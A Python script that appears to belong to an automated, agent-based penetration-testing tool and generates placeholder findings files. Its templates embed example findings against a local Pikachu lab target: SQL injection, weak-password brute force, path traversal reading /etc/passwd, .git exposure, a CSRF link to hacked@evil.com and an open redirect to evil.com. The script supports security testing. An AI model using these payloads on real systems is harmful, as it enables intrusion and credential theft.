#!/usr/bin/env python3
"""
Prepare standardised findings skeleton files for pentest agents.

The generated skeleton strictly follows each agent's SKILL.md output example.

Usage:
    python scripts/prepare_agent_findings.py
    python scripts/prepare_agent_findings.py <project_root>
    python scripts/prepare_agent_findings.py <project_root> --agent auth-agent
    python scripts/prepare_agent_findings.py <project_root> --agent auth-agent --force
"""

from __future__ import annotations

import argparse
import copy
import json
import sys
from pathlib import Path


AGENT_TEMPLATES = {
    "injection-agent": {
        "agent": "injection-agent",
        "coverage": [
            "sqli",
            "nosqli",
            "xss_stored",
            "xss_reflected",
            "xss_dom",
            "ssrf",
            "xxe",
            "ssti",
            "rce",
            "insecure_deserialization",
            "crlf_injection",
            "xslt_injection",
            "el_injection",
            "jndi_injection",
            "prototype_pollution",
            "type_juggling",
            "request_smuggling",
        ],
        "checked_endpoints": 42,
        "findings": [
            {
                "vuln_id": "INJ-001",
                "title": "SQL注入 /vul/sqli/sqli_str.php - name参数单引号注入泄露全部用户",
                "type": "sqli",
                "type_zh": "SQL注入",
                "severity": "critical",
                "confidence": "confirmed",
                "authenticated": False,
                "target_url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#",
                "description": "name参数未做参数化处理，单引号注入后 OR 1=1 可泄露数据库中全部8个用户的UID和邮箱。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "单引号注入触发SQL报错",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27&submit=查询",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1",
                        },
                    },
                    {
                        "seq": 2,
                        "label": "OR 1=1 泄露全部用户数据",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1'+or+1=1#&submit=查询",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "your uid:1 your email is: token@test.com your uid:2 your email is: allen@pikachu.com ...",
                        },
                    },
                ],
            }
        ],
    },
    "auth-agent": {
        "agent": "auth-agent",
        "coverage": [
            "auth_bypass",
            "idor",
            "broken_access_control",
            "csrf",
            "information_disclosure",
        ],
        "brute_force_status": {
            "executed": True,
            "reason": "未提供测试账号且登录页无验证码，执行弱口令暴力破解",
        },
        "checked_endpoints": 35,
        "findings": [
            {
                "vuln_id": "AUTH-001",
                "title": "弱口令 /vul/brute/bf_form.php - admin:123456 登录成功",
                "type": "auth_bypass",
                "type_zh": "认证绕过",
                "severity": "high",
                "confidence": "confirmed",
                "authenticated": False,
                "target_url": "http://192.168.1.133:8000/vul/brute/bf_form.php",
                "description": "登录接口未限制登录频率，使用弱口令字典成功破解出 admin:123456 和 pikachu:000000 两组有效凭证。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "正常登录请求（对照）",
                        "request": {
                            "method": "POST",
                            "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",
                            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
                            "body": "username=test&password=test&submit=登录",
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "username error!",
                        },
                    },
                    {
                        "seq": 2,
                        "label": "弱口令爆破成功",
                        "request": {
                            "method": "POST",
                            "url": "http://192.168.1.133:8000/vul/brute/bf_form.php",
                            "headers": {"Content-Type": "application/x-www-form-urlencoded"},
                            "body": "username=admin&password=123456&submit=登录",
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "login success!",
                        },
                    },
                ],
            }
        ],
    },
    "file-agent": {
        "agent": "file-agent",
        "coverage": ["lfi", "rce", "xss_stored", "information_disclosure", "unknown"],
        "checked_endpoints": 18,
        "findings": [
            {
                "vuln_id": "FILE-001",
                "title": "本地文件包含 /vul/fileinclude/fi_local.php - 路径穿越读取/etc/passwd",
                "type": "lfi",
                "type_zh": "本地文件包含",
                "severity": "high",
                "confidence": "confirmed",
                "authenticated": False,
                "target_url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd",
                "description": "filename参数未校验路径穿越，通过../../../../可包含任意本地文件，成功读取/etc/passwd系统文件。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "路径穿越读取/etc/passwd",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd&submit=提交",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "sshd:x:101:65534::/run/sshd:/usr/sbin/nologin\nmysql:x:999:999::/home/mysql:/bin/sh",
                        },
                    }
                ],
            }
        ],
    },
    "api-agent": {
        "agent": "api-agent",
        "coverage": [
            "broken_access_control",
            "idor",
            "sqli",
            "unknown",
            "information_disclosure",
        ],
        "checked_endpoints": 56,
        "findings": [
            {
                "vuln_id": "API-001",
                "title": "敏感文件暴露 /.git/ - 完整Git仓库目录公开可访问",
                "type": "information_disclosure",
                "type_zh": "信息泄露",
                "severity": "critical",
                "confidence": "confirmed",
                "authenticated": False,
                "target_url": "http://192.168.1.133:8000/.git/HEAD",
                "description": ".git目录完全公开，攻击者可通过git clone获取完整源码，包含硬编码的数据库密码、API密钥等敏感信息。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "读取.git/HEAD确认仓库存在",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/.git/HEAD",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/plain"},
                            "body": "ref: refs/heads/master",
                        },
                    },
                    {
                        "seq": 2,
                        "label": "读取.git/config获取仓库配置",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/.git/config",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/plain"},
                            "body": "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false",
                        },
                    },
                ],
            }
        ],
    },
    "business-agent": {
        "agent": "business-agent",
        "coverage": [
            "workflow_bypass",
            "race_condition",
            "pricing_manipulation",
            "coupon_abuse",
            "unknown",
            "subscription_hijack",
            "csrf",
        ],
        "checked_endpoints": 22,
        "findings": [
            {
                "vuln_id": "BIZ-001",
                "title": "CSRF GET /vul/csrf/csrfget/csrf_get_edit.php - 无需Token修改用户资料",
                "type": "csrf",
                "type_zh": "跨站请求伪造",
                "severity": "medium",
                "confidence": "confirmed",
                "authenticated": True,
                "target_url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",
                "description": "用户资料修改接口使用GET请求且无CSRF Token防护，攻击者构造恶意链接诱导用户点击即可修改其邮箱、密码等敏感信息。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "正常请求（对照）",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "个人资料页面 - 邮箱: pikachu@pikachu.com",
                        },
                    },
                    {
                        "seq": 2,
                        "label": "CSRF恶意修改邮箱",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=13800000000&email=hacked@evil.com&add=hacked&submit=submit",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 200,
                            "headers": {"Content-Type": "text/html"},
                            "body": "修改成功！",
                        },
                    },
                ],
            }
        ],
    },
    "misc-agent": {
        "agent": "misc-agent",
        "coverage": [
            "information_disclosure",
            "open_redirect",
            "broken_access_control",
            "request_smuggling",
            "waf_bypass",
            "ssrf",
            "clickjacking",
            "xss_reflected",
        ],
        "checked_endpoints": 30,
        "findings": [
            {
                "vuln_id": "MISC-001",
                "title": "开放重定向 /vul/urlredirect/urlredirect.php - url参数可跳转到任意外部域名",
                "type": "open_redirect",
                "type_zh": "开放重定向",
                "severity": "medium",
                "confidence": "confirmed",
                "authenticated": False,
                "target_url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",
                "description": "url参数未校验域名白名单，服务端直接302重定向到任意外部域名，攻击者可用于钓鱼攻击。",
                "http_interactions": [
                    {
                        "seq": 1,
                        "label": "跳转到外部恶意域名",
                        "request": {
                            "method": "GET",
                            "url": "http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com",
                            "headers": {},
                            "body": None,
                        },
                        "response": {
                            "status_code": 302,
                            "headers": {"Location": "http://evil.com"},
                            "body": "",
                        },
                    }
                ],
            }
        ],
    },
}


def build_placeholder_interactions(example_interactions: list[dict]) -> list[dict]:
    interactions = []
    for idx, item in enumerate(example_interactions, start=1):
        request = item.get("request", {})
        response = item.get("response", {})
        method = request.get("method", "GET")
        request_body = request.get("body")

        interactions.append(
            {
                "seq": idx,
                "label": f"待回填 - 交互说明 {idx}",
                "request": {
                    "method": method,
                    "url": "待回填 - 请求URL",
                    "headers": {},
                    "body": None if request_body is None else "待回填 - 请求体",
                },
                "response": {
                    "status_code": 0,
                    "headers": {},
                    "body": "待回填 - 响应证据",
                },
            }
        )

    return interactions or [
        {
            "seq": 1,
            "label": "待回填 - 交互说明 1",
            "request": {
                "method": "GET",
                "url": "待回填 - 请求URL",
                "headers": {},
                "body": None,
            },
            "response": {
                "status_code": 0,
                "headers": {},
                "body": "待回填 - 响应证据",
            },
        }
    ]


def build_placeholder_finding(agent_name: str, template_finding: dict) -> dict:
    prefix = agent_name.split("-")[0].upper()
    return {
        "vuln_id": f"{prefix.upper()}-001",
        "title": "待回填 - 漏洞标题、路径、参数和触发方式",
        "type": "待回填 - 从 coverage 中选择实际漏洞类型",
        "type_zh": "待回填 - 与 type 对应的中文名称",
        "severity": "待回填 - critical/high/medium/low/info",
        "confidence": "待回填 - confirmed/likely/potential",
        "authenticated": False,
        "target_url": "待回填 - 漏洞目标 URL",
        "description": "待回填 - 描述漏洞成因、利用条件、影响范围和实际危害。",
        "http_interactions": build_placeholder_interactions(
            template_finding.get("http_interactions", [])
        ),
    }


def build_skeleton(agent_name: str) -> dict:
    skeleton = copy.deepcopy(AGENT_TEMPLATES[agent_name])
    skeleton["checked_endpoints"] = 0
    if "brute_force_status" in skeleton:
        skeleton["brute_force_status"] = {
            "executed": False,
            "reason": "待回填 - 是否执行弱口令暴力破解，以及执行或跳过的原因。",
        }
    if skeleton.get("findings"):
        skeleton["findings"] = [
            build_placeholder_finding(agent_name, skeleton["findings"][0])
        ]
    else:
        skeleton["findings"] = []
    return skeleton


def get_target_agents(agent_names: list[str] | None) -> list[str]:
    if not agent_names:
        return list(AGENT_TEMPLATES.keys())

    invalid_agents = [name for name in agent_names if name not in AGENT_TEMPLATES]
    if invalid_agents:
        supported = ", ".join(AGENT_TEMPLATES.keys())
        invalid = ", ".join(invalid_agents)
        raise ValueError(f"不支持的 agent 名称: {invalid}；可选值: {supported}")

    # Deduplicate while keeping input order.
    return list(dict.fromkeys(agent_names))


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Generate minimal findings skeleton JSON files for all agents."
    )
    parser.add_argument(
        "project_root",
        nargs="?",
        default=".",
        help="Project root directory that contains the workspace folder.",
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="Overwrite existing findings skeleton files.",
    )
    parser.add_argument(
        "--agent",
        dest="agents",
        action="append",
        help="Generate skeleton only for the specified agent. Repeatable.",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    project_root = Path(args.project_root).resolve()

    if not project_root.exists():
        print(f"[!] 项目目录不存在: {project_root}", file=sys.stderr)
        return 1

    try:
        target_agents = get_target_agents(args.agents)
    except ValueError as exc:
        print(f"[!] {exc}", file=sys.stderr)
        return 1

    findings_dir = project_root / "workspace" / "findings"
    findings_dir.mkdir(parents=True, exist_ok=True)

    created = 0
    skipped = 0

    print(f"[*] 输出目录: {findings_dir}")

    print(f"[*] 目标 Agent: {', '.join(target_agents)}")

    for agent_name in target_agents:
        output_path = findings_dir / f"{agent_name}.json"
        existed_before = output_path.exists()

        if existed_before and not args.force:
            print(f"[=] 已存在，跳过: {output_path.name}")
            skipped += 1
            continue

        skeleton = build_skeleton(agent_name)
        with open(output_path, "w", encoding="utf-8") as fh:
            json.dump(skeleton, fh, indent=2, ensure_ascii=False)
            fh.write("\n")

        action = "覆盖写入" if existed_before and args.force else "已生成"
        print(f"[+] {action}: {output_path.name}")
        created += 1

    print(
        f"[+] 完成: 创建/覆盖 {created} 个文件，跳过 {skipped} 个文件"
    )
    return 0


if __name__ == "__main__":
    sys.exit(main())
